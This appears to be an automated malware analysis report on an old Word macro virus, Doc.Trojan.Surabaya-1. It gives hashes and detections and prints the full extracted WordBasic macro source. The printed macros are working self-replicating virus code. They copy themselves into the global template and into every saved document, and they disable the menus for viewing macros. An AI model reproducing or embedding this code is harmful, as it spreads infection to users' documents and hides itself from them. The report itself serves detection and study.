Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 64acae02c00bb0c0…

MALICIOUS

Office (OLE)

37.5 KB Created: 1998-10-01 09:37:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b38699ec95a5c644d64ac3b7c123db0a SHA-1: 709949e033fdd28d7455957b14d881c070680e39 SHA-256: 64acae02c00bb0c0c9f376aa23fd852579d135c92abf0c6d12e08c2c6e2bbec2
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains legacy WordBasic macro virus markers and a critical ClamAV detection for 'Doc.Trojan.Surabaya-1'. The AutoOpen macro attempts to copy other macros within the document, including 'AutoOpen' itself, to the saved file. This suggests an attempt to ensure macro execution upon opening the saved document, though the exact payload or execution mechanism is not clear from the provided script excerpt.

Heuristics 4

  • ClamAV: Doc.Trojan.Surabaya-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Surabaya-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11500 bytes
SHA-256: 72c150e9c83f5752addbdef9dbddd92af6d585908dc73470a1d37e50a6cc4e39
Detection
ClamAV: Doc.Trojan.Surabaya-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "FileTemplates"

Public Sub MAIN()
On Error GoTo -1: On Error GoTo wis
WordBasic.MsgBox "Sorry..."
wis:
End Sub

Attribute VB_Name = "ToolsMacro"

Public Sub MAIN()
On Error GoTo -1: On Error GoTo wis
WordBasic.MsgBox "Sorry..."
wis:
End Sub

Attribute VB_Name = "FileSaveAs"

Public Sub MAIN()
Dim sme$
Dim yesmacro$
Dim ExecuteOnly
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
On Error GoTo -1: On Error GoTo susah
WordBasic.CurValues.FileSaveAs dlg
WordBasic.Dialog.FileSaveAs dlg
If dlg.Format = 0 Then dlg.Format = 1
sme$ = WordBasic.[FileName$]()
yesmacro$ = sme$ + ":AutoOpen"
WordBasic.MacroCopy "Global:AutoOpen", yesmacro$, ExecuteOnly
yesmacro$ = sme$ + ":FileSaveAs"
WordBasic.MacroCopy "Global:FileSaveAs", yesmacro$, ExecuteOnly
yesmacro$ = sme$ + ":Autoexec"
WordBasic.MacroCopy "Global:Autoexec", yesmacro$, ExecuteOnly
yesmacro$ = sme$ + ":ToolsMacro"
WordBasic.MacroCopy "Global:ToolsMacro", yesmacro$, ExecuteOnly
yesmacro$ = sme$ + ":FileTemplates"
WordBasic.MacroCopy "Global:FileTemplates", yesmacro$, ExecuteOnly
yesmacro$ = sme$ + ":Plong"
WordBasic.MacroCopy "Global:Plong", yesmacro$, ExecuteOnly
WordBasic.FileSaveAs dlg
GoTo selesai

susah:
If Err.Number <> 102 Then
        WordBasic.FileSaveAs dlg
End If
selesai:
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim HitungM
Dim i
Dim Yesinstall
Dim mom$
Dim sMacro$
Dim ExecuteOnly
On Error GoTo -1: On Error GoTo Abort
HitungM = WordBasic.CountMacros(0, 0)
For i = 1 To HitungM
    If WordBasic.[MacroName$](i, 0, 0) = "Plong" Then
        Yesinstall = -1
    End If
Next i

If Not Yesinstall Then
    WordBasic.SetProfileString "Author", "Name", "TeBeYe`93 The ICE-Man"
    mom$ = WordBasic.[FileName$]()
    sMacro$ = mom$ + ":FileSaveAs"
    WordBasic.MacroCopy sMacro$, "Global:FileSaveAs", ExecuteOnly
    sMacro$ = mom$ + ":AutoOpen"
    WordBasic.MacroCopy sMacro$, "Global:AutoOpen", ExecuteOnly
    sMacro$ = mom$ + ":Autoexec"
    WordBasic.MacroCopy sMacro$, "Global:Autoexec", ExecuteOnly
    sMacro$ = mom$ + ":ToolsMacro"
    WordBasic.MacroCopy sMacro$, "Global:ToolsMacro", ExecuteOnly
    sMacro$ = mom$ + ":FileTemplates"
    WordBasic.MacroCopy sMacro$, "Global:FileTemplates", ExecuteOnly
    sMacro$ = mom$ + ":Plong"
    WordBasic.MacroCopy sMacro$, "Global:Plong", ExecuteOnly
End If

Abort:
End Sub

Attribute VB_Name = "Autoexec"

Dim hitung
Public Sub MAIN()
Dim pesan$
Dim i
Dim j
Dim k
hitung = 0
On Error GoTo -1: On Error GoTo no
pesan$ = " Lontong Micro Device (c) 1993 By ICE-Man "

For i = 1 To Len(pesan$)
        WordBasic.MsgBox WordBasic.[Right$](pesan$, i), -1
        For j = 1 To 50
        Next j
Next i

For j = 1 To 200
Next j

For k = 1 To Len(pesan$)
        WordBasic.MsgBox WordBasic.[Right$](pesan$, (Len(pesan$) - k)), -1
        For j = 1 To 50
        Next j
Next k
no:
End Sub

Attribute VB_Name = "Plong"

Public Sub MAIN()
Rem This Macro was created by : The ICE - "Yes"  Man
Rem
Rem         Allah Swt always be with All of You ....
Rem
Rem                             Surabaya, 09-09-1996
End Sub

' Processing file: /opt/analyzer/scan_staging/d8ac21ddcc554e9680253ff25f087cca.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/FileTemplates - 972 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError wis 
' Line #3:
' 	LitStr 0x0008 "Sorry..."
' 	Ld WordBasic 
' 	ArgsMemCall MsgBox 0x0001 
' Line #4:
' 	Label wis 
' Line #5:
' 	EndSub 
' Macros/VBA/ToolsMacro - 969 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	OnErr
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.